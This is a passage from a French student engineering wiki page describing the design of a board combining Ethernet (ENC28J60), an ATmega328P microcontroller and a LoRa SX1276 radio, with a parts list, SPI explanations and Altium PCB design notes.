Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
